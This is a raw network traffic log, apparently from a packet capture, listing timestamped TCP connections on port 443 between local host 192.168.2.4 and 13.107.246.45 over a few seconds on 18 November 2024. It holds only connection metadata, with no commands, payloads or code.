Nov 18, 2024 17:24:19.595176935 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.603913069 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.604271889 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.604289055 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.604676962 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.604681969 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.704736948 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.704757929 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.704813004 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.704863071 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.704917908 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.705163956 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.705188990 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.705204010 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.705209017 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.708237886 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.708309889 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.708431959 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.708597898 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.708631992 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.718381882 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.718534946 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.718616962 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.718663931 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.718663931 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.718692064 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.718715906 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.720913887 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.720958948 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.721021891 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.721141100 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.721155882 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.731159925 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.731343985 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.731404066 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.731453896 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.731471062 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.731482029 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.731487989 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.733310938 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.733354092 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.733438969 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.733577967 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.733608007 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.207376957 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.218034983 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.218067884 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.218816996 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.218831062 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.319792032 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.322402954 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.322438955 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.322841883 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.322849989 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.345839977 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.346016884 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.346232891 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.346502066 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.346544027 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.346573114 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.346589088 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.349440098 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.349490881 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.349903107 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.350060940 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.350092888 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.443375111 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.445323944 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.445405960 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.445780039 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.445795059 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.446743011 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.446835041 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.447012901 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.447238922 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.447261095 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.447273016 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.447280884 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.449902058 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.449944973 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.450023890 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.450177908 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.450192928 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.453145981 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.456959963 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.456985950 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.457375050 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.457381010 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.469132900 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.470412016 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.470429897 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.470921993 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.470932961 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.577178001 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.577358007 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.577462912 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.577668905 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.577702045 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.577729940 CET	49933	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.577749014 CET	443	49933	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.580377102 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.580404043 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.580490112 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.580626965 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.580641031 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.583028078 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.583185911 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.585887909 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.585920095 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.585938931 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.585951090 CET	49934	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.585962057 CET	443	49934	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.587986946 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.588001966 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.593899012 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.594017029 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.594028950 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.599975109 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.600147009 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.600224018 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.600367069 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.600387096 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.600410938 CET	49935	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.600423098 CET	443	49935	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.602437973 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.602483988 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:20.602575064 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.602708101 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:20.602736950 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.073899984 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.074542999 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.074573040 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.075018883 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.075031042 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.203242064 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.203310966 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.203380108 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.203583002 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.203604937 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.203638077 CET	49936	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.203650951 CET	443	49936	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.206326962 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.207247019 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.207254887 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.208093882 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.208098888 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.209083080 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.209119081 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.209188938 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.209407091 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.209419966 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.323739052 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.324398994 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.324424982 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.325041056 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.325054884 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.325709105 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.326019049 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.326025963 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.326479912 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.326483965 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.340291023 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.340857983 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.340936899 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.341449022 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.341466904 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.344512939 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.345133066 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.345226049 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.345242023 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.345257998 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.345268011 CET	49937	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.345273018 CET	443	49937	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.348094940 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.348154068 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.348233938 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.348357916 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.348387003 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.451173067 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.451538086 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.451591015 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.451627970 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.451633930 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.451643944 CET	49939	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.451648951 CET	443	49939	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.454181910 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.454200029 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.454260111 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.454396963 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.454407930 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.454826117 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.454905033 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.454957962 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.454982042 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.455013037 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.455066919 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.455492020 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.455492020 CET	49938	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.455513000 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.455533981 CET	443	49938	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.458374977 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.458411932 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.458475113 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.458622932 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.458641052 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.468611956 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.468873978 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.468941927 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.468966007 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.469002962 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.469058037 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.469058990 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.469098091 CET	49940	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.469114065 CET	443	49940	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.471446991 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.471477985 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.471539021 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.471653938 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.471667051 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.954282045 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.954819918 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.954835892 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:21.955403090 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:21.955406904 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.085134983 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.085216999 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.085264921 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.085412025 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.085428953 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.085438013 CET	49941	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.085443020 CET	443	49941	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.087820053 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.087944984 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.087986946 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.088056087 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.088282108 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.088301897 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.088294029 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.088359118 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.088726997 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.088742018 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.185602903 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.186086893 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.186116934 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.186661959 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.186666965 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.216837883 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.217212915 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.217236042 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.217612028 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.217618942 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.218635082 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.218708038 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.218755960 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.218826056 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.218826056 CET	49942	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.218861103 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.218885899 CET	443	49942	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.223495960 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.223531008 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.223587036 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.223742008 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.223756075 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.225672960 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.226008892 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.226021051 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.226412058 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.226418018 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.318890095 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.319068909 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.319137096 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.319240093 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.319257021 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.319266081 CET	49943	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.319271088 CET	443	49943	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.322392941 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.322417021 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.322518110 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.322679996 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.322695971 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348495960 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348568916 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348659039 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.348673105 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348692894 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348746061 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.348869085 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.348882914 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.348896027 CET	49944	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.348902941 CET	443	49944	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.351593018 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.351625919 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.351783037 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.351866007 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.351874113 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.359534025 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.359937906 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.359994888 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.360018015 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.360032082 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.360042095 CET	49945	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.360045910 CET	443	49945	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.362215042 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.362226963 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.362301111 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.362488985 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.362500906 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.837441921 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.837996960 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.838015079 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.838474989 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.838483095 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.942534924 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.943012953 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.943042994 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.943443060 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.943448067 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.973001957 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.973069906 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.973129034 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.973325014 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.973351955 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.973370075 CET	49946	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.973378897 CET	443	49946	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.976088047 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.976123095 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:22.976305962 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.976423979 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:22.976437092 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.074372053 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.074975967 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.075155973 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.075167894 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.075505972 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.075588942 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.075604916 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.075609922 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.075628996 CET	49947	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.075647116 CET	443	49947	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.078576088 CET	49952	443	192.168.2.4	13.107.246.45
